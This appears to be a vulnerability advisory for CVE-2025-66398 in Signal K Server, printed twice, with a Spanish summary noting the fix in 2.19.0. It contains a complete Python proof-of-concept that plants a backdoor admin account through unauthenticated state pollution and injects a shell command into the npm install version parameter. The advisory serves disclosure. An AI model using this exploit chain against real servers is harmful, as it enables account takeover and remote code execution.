CVE-2025-66398

### Summary An unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE). ### Details The vulnerability is caused by the use of a module-level global variable `restoreFilePath` in `src/serverroutes.ts`, which is shared across all requests. **Vulnerable Code Analysis:** 1. **Global State**: `restoreFilePath` is defined at the top level of the module. ```typescript // src/serverroutes.ts let restoreFilePath: string ``` 2. **Unauthenticated State Pollution**: The `/skServer/validateBackup` endpoint updates this variable. Crucially, this endpoint **lacks authentication middleware**, allowing any user to access it. ```typescript app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) => { // ... handles file upload ... restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path }) ``` 3. **Restore Hijacking**: The `/skServer/restore` endpoint uses the polluted `restoreFilePath` to perform the restoration. ```typescript app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) => { // ... const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path // ... }) ``` **Exploit Chain:** 1. **Pollution**: Attacker uploads a malicious zip file to `/validateBackup`. The server saves it and updates `restoreFilePath` to point to this malicious file. 2. **Hijacking**: When `/restore` is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files. 3. **Backdoor**: The attacker overwrites `security.json` to add a new administrator account. 4. **RCE**: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (`/skServer/appstore/install/...`) to execute arbitrary system commands (e.g., `npm install` injection). ### PoC Here is a complete Python script to reproduce the full exploit chain. ```python import requests import zipfile import io import json import time # Configuration TARGET_URL = "http://localhost:3000" BACKDOOR_USER = "hacker" BACKDOOR_PASS = "hacked1234" def step1_plant_backdoor(): print("[*] Step 1: Planting Backdoor via State Pollution...") # 1. Create malicious zip with security.json zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w') as z: # Add backdoor admin user security_config = { "users": [{ "username": BACKDOOR_USER, "password": BACKDOOR_PASS, "permissions": "admin" }] } z.writestr("security.json", json.dumps(security_config)) # Enable security to make the backdoor effective z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}})) zip_buffer.seek(0) # 2. Pollute State (Unauthenticated) print(" [+] Sending malicious backup to /validateBackup...") res = requests.post(f"{TARGET_URL}/skServer/validateBackup", files={'file': ('malicious.zip', zip_buffer, 'application/zip')}) if res.status_code != 200: print(" [-] Failed to pollute state.") return False # 3. Trigger Restore (Hijacking) print(" [+] Triggering restore to overwrite server config...") # Note: In a real attack, if /restore is protected, attacker waits for admin to use it. # Here we assume we can trigger it or security is currently off. res = requests.post(f"{TARGET_URL}/skServer/restore", json={"security.json": True, "settings.json": True}) if res.status_code in [200, 202]: print(" [+] Restore triggered successfully. Backdoor planted.") print(" [!] PLEASE RESTART THE SERVER to load the new configuration.") return True else: print(f" [-] Restore failed: {res.status_code} {res.text}") return False def step2_execute_rce(): print("\n[*] Step 2: Executing RCE as Backdoor User...") # 1. Login session = requests.Session() login_payload = {"username": BACKDOOR_USER, "password": BACKDOOR_PASS} res = session.post(f"{TARGET_URL}/signalk/v1/auth/login", json=login_payload) if res.status_code != 200: print(" [-] Login failed. Did you restart the server?") return token = res.json()['token'] print(" [+] Login successful. Authenticated as Admin.") # 2. RCE Payload (Windows Example) # Injecting command into version parameter of npm install # Command: echo RCE_SUCCESS > rce_proof.txt cmd_payload = "1.0.0 & echo RCE_SUCCESS > rce_proof.txt &" # We need a valid package name to bypass existence check package_name = "@signalk/freeboard-sk" print(f" [+] Sending RCE payload: {cmd_payload}") headers = {'Authorization': f'Bearer {token}'} try: session.post(f"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}", headers=headers, timeout=5) except: pass # Timeout is expected as the command might hang or take time print(" [+] Payload sent. Check for 'rce_proof.txt' in server root.") if __name__ == "__main__": # Run Step 1, then restart server manually, then Run Step 2 # step1_plant_backdoor() step2_execute_rce() ``` ### Impact Remote Code Execution (RCE), Account Takeover, Denial of Service. **Verified**: RCE is demonstrated by creating a file named `rce_proof.txt` containing the text "RCE_SUCCESS" on the server filesystem using the exploit chain.

### Summary An unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE). ### Details The vulnerability is caused by the use of a module-level global variable `restoreFilePath` in `src/serverroutes.ts`, which is shared across all requests. **Vulnerable Code Analysis:** 1. **Global State**: `restoreFilePath` is defined at the top level of the module. ```typescript // src/serverroutes.ts let restoreFilePath: string ``` 2. **Unauthenticated State Pollution**: The `/skServer/validateBackup` endpoint updates this variable. Crucially, this endpoint **lacks authentication middleware**, allowing any user to access it. ```typescript app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) => { // ... handles file upload ... restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path }) ``` 3. **Restore Hijacking**: The `/skServer/restore` endpoint uses the polluted `restoreFilePath` to perform the restoration. ```typescript app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) => { // ... const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path // ... }) ``` **Exploit Chain:** 1. **Pollution**: Attacker uploads a malicious zip file to `/validateBackup`. The server saves it and updates `restoreFilePath` to point to this malicious file. 2. **Hijacking**: When `/restore` is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files. 3. **Backdoor**: The attacker overwrites `security.json` to add a new administrator account. 4. **RCE**: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (`/skServer/appstore/install/...`) to execute arbitrary system commands (e.g., `npm install` injection). ### PoC Here is a complete Python script to reproduce the full exploit chain. ```python import requests import zipfile import io import json import time # Configuration TARGET_URL = "http://localhost:3000" BACKDOOR_USER = "hacker" BACKDOOR_PASS = "hacked1234" def step1_plant_backdoor(): print("[*] Step 1: Planting Backdoor via State Pollution...") # 1. Create malicious zip with security.json zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w') as z: # Add backdoor admin user security_config = { "users": [{ "username": BACKDOOR_USER, "password": BACKDOOR_PASS, "permissions": "admin" }] } z.writestr("security.json", json.dumps(security_config)) # Enable security to make the backdoor effective z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}})) zip_buffer.seek(0) # 2. Pollute State (Unauthenticated) print(" [+] Sending malicious backup to /validateBackup...") res = requests.post(f"{TARGET_URL}/skServer/validateBackup", files={'file': ('malicious.zip', zip_buffer, 'application/zip')}) if res.status_code != 200: print(" [-] Failed to pollute state.") return False # 3. Trigger Restore (Hijacking) print(" [+] Triggering restore to overwrite server config...") # Note: In a real attack, if /restore is protected, attacker waits for admin to use it. # Here we assume we can trigger it or security is currently off. res = requests.post(f"{TARGET_URL}/skServer/restore", json={"security.json": True, "settings.json": True}) if res.status_code in [200, 202]: print(" [+] Restore triggered successfully. Backdoor planted.") print(" [!] PLEASE RESTART THE SERVER to load the new configuration.") return True else: print(f" [-] Restore failed: {res.status_code} {res.text}") return False def step2_execute_rce(): print("\n[*] Step 2: Executing RCE as Backdoor User...") # 1. Login session = requests.Session() login_payload = {"username": BACKDOOR_USER, "password": BACKDOOR_PASS} res = session.post(f"{TARGET_URL}/signalk/v1/auth/login", json=login_payload) if res.status_code != 200: print(" [-] Login failed. Did you restart the server?") return token = res.json()['token'] print(" [+] Login successful. Authenticated as Admin.") # 2. RCE Payload (Windows Example) # Injecting command into version parameter of npm install # Command: echo RCE_SUCCESS > rce_proof.txt cmd_payload = "1.0.0 & echo RCE_SUCCESS > rce_proof.txt &" # We need a valid package name to bypass existence check package_name = "@signalk/freeboard-sk" print(f" [+] Sending RCE payload: {cmd_payload}") headers = {'Authorization': f'Bearer {token}'} try: session.post(f"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}", headers=headers, timeout=5) except: pass # Timeout is expected as the command might hang or take time print(" [+] Payload sent. Check for 'rce_proof.txt' in server root.") if __name__ == "__main__": # Run Step 1, then restart server manually, then Run Step 2 # step1_plant_backdoor() step2_execute_rce() ``` ### Impact Remote Code Execution (RCE), Account Takeover, Denial of Service. **Verified**: RCE is demonstrated by creating a file named `rce_proof.txt` containing the text "RCE_SUCCESS" on the server filesystem using the exploit chain.

Signal K Server es una aplicación de servidor que se ejecuta en un concentrador central en un barco. Antes de la versión 2.19.0, un atacante no autenticado puede contaminar el estado interno ('restoreFilePath') del servidor a través del endpoint '/skServer/validateBackup'. Esto permite al atacante secuestrar la funcionalidad 'Restaurar' del administrador para sobrescribir archivos de configuración críticos del servidor (por ejemplo, 'security.json', 'package.json'), lo que lleva a la toma de control de la cuenta y a la Ejecución Remota de Código (RCE). La versión 2.19.0 corrige esta vulnerabilidad.